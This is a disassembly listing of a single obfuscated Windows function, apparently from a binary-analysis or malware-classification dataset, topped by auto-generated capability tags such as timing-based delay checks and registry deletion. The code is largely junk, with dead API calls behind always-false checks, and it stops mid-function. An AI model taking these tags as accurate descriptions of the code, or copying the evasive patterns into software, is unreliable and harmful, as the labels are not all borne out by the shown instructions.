Function at 0x10008b7d
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Connect pipe
Create pipe
Delete registry value
Get keyboard layout
Parse pe header
Query environment variable
Terminate process

Disassembly:
mov eax, 0x10081e0f
call fcn.100810a0
mov eax, 0x15e4
call fcn.1007d850
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
push esi
push edi
mov edi, 0xec2e0cf5
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x28], edi
mov byte [ebp - 0x45], al
mov dword [ebp - 0x80], ecx
cmp byte [ebp - 0x45], al
je 0x10008bce
push eax
push eax
push 0x1cfa
push eax
push 0x4d8
push eax
push 0x25e1
push 0x1b8e
call ebx
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x18
push 1
pop esi
jge 0x10008c95
push esi
lea ecx, [ebp - 0x48c]
call fcn.10026cbf
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0xd8b9dbea
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x10008c1c
push dword [ebp - 0x38]
lea ecx, [ebp - 0x48c]
call fcn.10026d2c
mov dword [eax], 0x532bb11a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x10008bfe
xor eax, eax
push eax
lea ecx, [ebp - 0x48c]
call fcn.10026d2c
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x48c]
call fcn.10026d2c
cmp dword [eax], 0x1a
jle 0x10008c75
xor esi, esi
mov dword [ebp - 0x4c], 0xdb6d0374
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x4c], 0x5425a80e
mov eax, dword [ebp - 0x4c]
push esi
mov dword [ebp - 0x30], eax
call fcn.10026d2c
push esi
lea ecx, [ebp - 0x48c]
inc dword [eax]
call fcn.10026d2c
cmp dword [eax], 0x1a
jg 0x10008c3f
xor esi, esi
inc esi
or eax, 0xffffffff
lea ecx, [ebp - 0x48c]
mov dword [ebp - 4], eax
call fcn.10026d27
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x18
jl 0x10008bde
xor eax, eax
mov dword [ebp - 0x28], edi
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10008cbd
push eax
push eax
push 0x1cfa
push eax
push 0x4d8
push eax
push 0x25e1
push 0x1b8e
call ebx
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x18
jge 0x10008d67
push esi
lea ecx, [ebp - 0x4a4]
call fcn.10026cbf
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x30], 0xd8b9dbea
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x10008d08
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4a4]
call fcn.10026d2c
mov dword [eax], 0x532bb11a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x10008cea
xor eax, eax
push eax
lea ecx, [ebp - 0x4a4]
call fcn.10026d2c
xor ebx, ebx
mov dword [eax], ebx
jmp 0x10008d36
mov dword [ebp - 0x4c], 0xdb6d0374
mov dword [ebp - 0x4c], 0x5425a80e
mov eax, dword [ebp - 0x4c]
push ebx
mov dword [ebp - 0x30], eax
call fcn.10026d2c
inc dword [eax]
push ebx
lea ecx, [ebp - 0x4a4]
call fcn.10026d2c
lea ecx, [ebp - 0x4a4]
cmp dword [eax], 0x1a
jg 0x10008d1a
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10026d27
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x18
jl 0x10008cca
xor eax, eax
mov ecx, 0xe91a049f
mov dword [ebp - 0x714], ecx
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x708], ecx
mov dword [ebp - 0x14], 0xc1ec2db2
mov dword [ebp - 0x4c], 0xa237f4a7
push 3
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x10008e22
mov dword [ebp - 0x38], 0x80c170c
mov dword [ebp - 0x38], eax
jmp 0x10008e1a
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x10008e17
mov dword [ebp - 0x18], esi
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10008def
push eax
push 0x1ae6
push 0xc70
push 0x1e4d
push 0xc76
push 0x15e5
push 0x10b8
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor eax, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x10008e12
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10008e0d
push 0x1682
call dword [sym.imp.KERNEL32.dll_TlsFree]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10008df7
dec dword [ebp - 0x20]
jns 0x10008dbb
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10008dac
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10008da0
mov dword [ebp - 0x14], 0xffffffe3
jmp 0x10008e8f
mov dword [ebp - 0x4c], eax
mov edx, 0x6974
mov dword [ebp - 0x44], 0x6548aab5
mov eax, dword [ebp - 0x710]
sub edx, eax
mov eax, dword [ebp - 0x708]
sub edx, eax
mov eax, dword [ebp - 0x4c]
sub edx, eax
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x4c]
imul edx, eax
push 0
imul ecx, edx
add ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
sub eax, 0xff4c
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], 0xf
jle 0x10008e34
mov dword [ebp - 0x24], edi
lea ecx, [ebp - 0x83c]
or eax, 0xffffffff
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0xa3c], eax
mov dword [ebp - 0xa38], eax
push 2
mov dword [ebp - 0xa34], eax
pop edi
mov dword [ebp - 0x54], 0xcb61d225
mov dword [ebp - 0x44], 0x13717be9
mov dword [ebp - 0x50], esi
push edi
call fcn.10026cbf
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x3c], 0x3818264d
mov dword [ebp - 0x18], 0x5adf851f
mov dword [ebp - 0x4c], 0xe5f88592
mov dword [ebp - 0x30], 0x4045
push 4
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
jge 0x10008f1e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x14a0], 0x89328a06
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10008f06
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10008f44
push dword [ebp - 0x24]
lea ecx, [ebp - 0x83c]
call fcn.10026d2c
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10008f26
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10008f64
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x121c], 0x2a67f8b4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10008f4c
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10008f84
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5ac], 0xe4ed383d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10008f6c
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10008f94
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
lea ecx, [ebp - 0x83c]
call fcn.10026d2c
xor ebx, ebx
push esi
mov ecx, dword [eax]
mov dword [ebp - 0x14a0], ecx
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xa38]
dec dword [eax]
lea ecx, [ebp - 0x83c]
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x1210], eax
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0xa38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1210]
mov eax, dword [ebp - 0x54]
call fcn.10026d2c
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov eax, dword [ebp - 0x5ac]
setg dl
cmp edx, 9
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
or eax, 0xffffffff
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x83c]
mov dword [ebp - 4], eax
call fcn.10026d27
push 4
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x5c4]
pop ebx
push ebx
call fcn.10026cbf
mov dword [ebp - 4], 3
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0x8700d35
mov dword [ebp - 0x980], ebx
mov dword [ebp - 0x97c], ebx
mov dword [ebp - 0x978], ebx
mov dword [ebp - 0x974], ebx
mov dword [ebp - 0x4c], 0x6f80366e
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009087
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009072
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100090ad
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5c4]
call fcn.10026d2c
mov dword [eax], 0xb16aac89
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000908f
xor eax, eax
cmp dword [ebp - 0x68], eax
jne 0x10009112
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
jne 0x100090c8
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100090ca
mov ecx, esi
jmp 0x100090cc
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x68]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x5c4]
push edi
setge bl
call fcn.10026d2c
mov dword [eax], ebx
test ebx, ebx
jne 0x100090f1
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x2c], eax
je 0x100090f3
mov ecx, esi
mov eax, dword [ebp - 0x68]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x68]
setle cl
add eax, ecx
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x68]
xor edx, edx
cmp eax, esi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [ebp - 0x2c]
mov esi, dword [sym.imp.USER32.dll_GetDC]
setle dl
sub edx, 0x951f
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xffffffea
cmp dword [ebp - 0x2c], 0xf
jl 0x10009273
mov dword [ebp - 0x1c], 0xdc705be7
mov dword [ebp - 0x30], 0x11945b4
mov eax, dword [ebp - 0x1c]
neg eax
je 0x100091d9
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100091b0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10009193
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x97c], 0xfffffff7
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000917b
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100091ad
push eax
push eax
push 0x1225
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10009173
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100091f0
push 0x243a
push eax
push eax
push 0x24f
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x100091f0
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100091f0
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x68]
cmp eax, 1
mov eax, dword [ebp - 0x68]
setg cl
xor ebx, ebx
add eax, ecx
lea ecx, [ebp - 0x5c4]
push 2
cmp eax, 0xa9ad1dc2
pop eax
push eax
setne bl
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0x5c4]
push 2
setg dl
pop ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
push ebx
call fcn.10026d2c
xor ecx, ecx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xf
jge 0x10009157
jmp 0x10009276
push 2
pop ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x5c4]
mov dword [ebp - 4], eax
call fcn.10026d27
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009436
or eax, 0xffffffff
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], 0xe0fc36fe
push ebx
call fcn.10026cbf
xor eax, eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100092d7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x104], 0xe2799ac7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100092bf
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100092fd
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf2c]
call fcn.10026d2c
mov dword [eax], 0xbd95d606
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100092df
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
cmp dword [ebp - 0x24], ebx
jg 0x1000936f
jmp 0x1000930c
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff8
ja 0x1000932b
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x53f0d3ec
je 0x10009340
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x44], eax
je 0x10009342
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x104], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1000930a
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10009393
mov eax, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x10009401
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x104], 0
je 0x100093e8
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100093c1
push 0x9ef
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100093fc
push 0x1372
push eax
push 0x189
push 0x1f2d
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x100093fc
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x104], ecx
dec dword [ebp - 0x24]
jns 0x1000939b
or eax, 0xffffffff
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 4], eax
call fcn.10026d27
xor eax, eax
push eax
push eax
push 0x1cfa
push eax
push 0x4d8
push eax
push 0x25e1
push 0x1b8e
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
jmp 0x10009439
xor ebx, ebx
inc ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x18
jge 0x10009722
push ebx
lea ecx, [ebp - 0x4ec]
call fcn.10026cbf
push 5
pop eax
mov dword [ebp - 4], eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], 0x7e2799ac
xor eax, eax
mov dword [ebp - 0x40], 0xe12aa53f
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x40], 0xab06c0e2
mov dword [ebp - 0x4c], 0x7374
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100094a5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x944], 0x72fd4914
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000948c
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x100094c8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1490], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100094b0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x100094e8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15a0], 0x41b44adc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100094d0
xor eax, eax
mov dword [ebp - 0x34], 0x12
cmp dword [ebp - 0x34], 0xfffffff3
jne 0x10009593
mov dword [ebp - 0x38], 0x7cefa9d1
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009519
push 0x1f04
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], eax
jl 0x10009583
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jg 0x1000957e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x944]
neg eax
cmp eax, 0xfffb
mov eax, dword [ebp - 0x38]
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x944]
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000956f
mov ecx, dword [ebp - 0x93c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x944], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x1000955c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jle 0x10009533
xor eax, eax
dec dword [ebp - 0x38]
jns 0x10009521
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff3
je 0x100094f9
or ecx, 0xffffffff
inc dword [ebp - 0x4c]
mov dword [ebp - 0x30], 0xd8b9dbea
mov dword [ebp - 0x14], 0x75b57fd5
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jge 0x1000969a
mov dword [ebp - 0x1c], 0xbd7b1c2a
mov dword [ebp - 0x28], 0x5eec80f2
mov dword [ebp - 0x1c], eax
jmp 0x10009632
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100095e9
cmp dword [ebp - 0x38], eax
je 0x100095e9
mov eax, ebx
neg eax
sub eax, 0x9df9481f
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xfffffffb
cmp eax, dword [ebp - 0x1c]
jle 0x10009606
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x10009608
mov ecx, ebx
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x14], eax
jg 0x10009621
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10009623
mov eax, ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
push 0xffffffffffffffff
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x1c]
pop ecx
cmp dword [ebp - 0x1c], 0x1a
jle 0x100095d5
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10009663
mov dword [ebp - 0x1c], 0xaead
mov eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
neg eax
add eax, 0xffffa3ee
mov dword [ebp - 0x4c], eax
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x4c], eax
je 0x10009665
mov ecx, ebx
mov eax, dword [ebp - 0x28]
sub ecx, eax
jne 0x1000966f
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10009698
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
push 0xffffffffffffffff
pop ecx
jl 0x100095c2
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x100096c0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4ec]
call fcn.10026d2c
mov dword [eax], 0x532bb11a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x100096a2
xor eax, eax
push eax
lea ecx, [ebp - 0x4ec]
call fcn.10026d2c
xor ebx, ebx
mov dword [eax], ebx
jmp 0x100096ee
mov dword [ebp - 0x4c], 0xdb6d0374
mov dword [ebp - 0x4c], 0x5425a80e
mov eax, dword [ebp - 0x4c]
push ebx
mov dword [ebp - 0x30], eax
call fcn.10026d2c
inc dword [eax]
push ebx
lea ecx, [ebp - 0x4ec]
call fcn.10026d2c
lea ecx, [ebp - 0x4ec]
cmp dword [eax], 0x1a
jg 0x100096d2
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10026d27
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x18
push 1
pop ebx
jl 0x10009446
xor eax, eax
mov ecx, 0x22ba3946
xor ebx, ebx
mov dword [ebp - 0x534], ecx
inc ebx
mov dword [ebp - 0x530], ecx
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x528], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x10009762
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x200], 0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1000974a
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009783
push eax
push 0x149d
push 0x11c8
push 0x185d
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], eax
jl 0x10009820
push 2
pop ecx
jmp 0x1000979c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ecx
jge 0x100097b8
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1ec], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x100097a4
xor eax, eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], eax
jl 0x10009807
jmp 0x100097ca
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100097ec
push 0x243a
push eax
push eax
push 0x24f
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp + eax*4 - 0x200], 0
jne 0x10009804
dec dword [ebp - 0x1e8]
jns 0x100097c8
push 2
pop ecx
mov eax, dword [ebp - 0x52c]
mov eax, dword [ebp + eax*4 - 0x200]
dec dword [ebp - 0x52c]
jns 0x1000979a
push 3
lea ecx, [ebp - 0xabc]
call fcn.10026cbf
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x28], 0x256915a
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x10009865
push dword [ebp - 0x38]
lea ecx, [ebp - 0xabc]
call fcn.10026d2c
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x10009846
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1000988d
push dword [ebp - 0x28]
lea ecx, [ebp - 0xabc]
call fcn.10026d2c
mov dword [eax], 0x6951
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1000986e
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100098a8
push 0x25a
push eax
push eax
push 0x220b
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
or eax, 0xffffffff
lea ecx, [ebp - 0xabc]
mov dword [ebp - 4], eax
call fcn.10026d27
mov dword [ebp - 0x20], 0xec2e0cf5
mov ecx, 0xe91a049f
mov dword [ebp - 0x7c4], ecx
xor eax, eax
mov dword [ebp - 0x7c0], ecx
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x7b8], ecx
mov dword [ebp - 0x14], 0xc1ec2db2
mov dword [ebp - 0x4c], 0xa237f4a7
push 3
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10009983
mov dword [ebp - 0x38], 0x80c170c
mov dword [ebp - 0x38], eax
jmp 0x1000997b
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x10009978
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000994d
push eax
push 0x1ae6
push 0xc70
push 0x1e4d
push 0xc76
push 0x15e5
push 0x10b8
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x10009973
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000996b
push 0x1682
call dword [sym.imp.KERNEL32.dll_TlsFree]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10009955
push 3
pop ecx
dec dword [ebp - 0x20]
jns 0x10009916
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x10009907
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x100098fb
mov dword [ebp - 0x14], 0xffffffe3
jmp 0x100099f0
mov dword [ebp - 0x4c], eax
mov edx, 0x6974
mov dword [ebp - 0x44], 0x6548aab5
mov eax, dword [ebp - 0x7c0]
sub edx, eax
mov eax, dword [ebp - 0x7b8]
sub edx, eax
mov eax, dword [ebp - 0x4c]
sub edx, eax
mov eax, dword [ebp - 0x7b8]
mov ecx, dword [ebp - 0x4c]
imul edx, eax
push 0
imul ecx, edx
add ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
sub eax, 0xff4c
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], 0xf
jle 0x10009995
xor eax, eax
lea ecx, [ebp - 0x6e0]
mov dword [ebp - 0x24], eax
push 4
call fcn.10026cbf
mov dword [ebp - 4], 7
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0x8700d35
push 4
pop ecx
mov dword [ebp - 0x998], ecx
mov dword [ebp - 0x994], ecx
mov dword [ebp - 0x990], ecx
mov dword [ebp - 0x98c], ecx
mov dword [ebp - 0x4c], 0x6f80366e
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009a5d
mov eax, dword [ebp - 0x14]
